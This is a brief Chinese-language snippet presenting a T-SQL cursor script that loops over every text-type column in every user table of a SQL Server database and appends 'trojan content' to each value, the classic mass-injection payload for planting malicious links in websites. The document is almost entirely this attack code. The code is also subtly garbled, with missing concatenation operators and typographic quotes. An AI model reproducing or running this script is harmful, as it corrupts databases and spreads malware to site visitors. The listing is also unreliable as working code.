SQL语句如下:
用游标遍历所有表里如下数据类型的字段,然后UPDATE挂马。(全部是允许写入字符的字段)
xtype=99 ntext
xtype=35 text
xtype=231 nvarchar
xtype=167 varchar
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DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select
a.name,b.name
from sysobjects a,
syscolumns b
where a.id=b.id and
a.xtype=’u’ and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec(’update [’ @T ’] set [’ @C ’]=
rtrim(convert(varchar,[’ @C ’]))
”挂马内容”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
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